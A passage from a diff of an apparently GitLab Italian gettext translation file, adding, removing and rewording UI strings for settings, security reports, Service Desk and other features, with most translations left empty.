msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Pianificazione pipelines"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr "Seleziona una timezone"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "imposta una password"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Lo stadio di pre-rilascio mostra il tempo che trascorre da una MR (Richiesta di Merge) completata al suo rilascio in ambiente di produzione. Questa informazione sarà disponibile dal tuo primo rilascio in produzione"
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Mostra la richieste di merge aperte"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
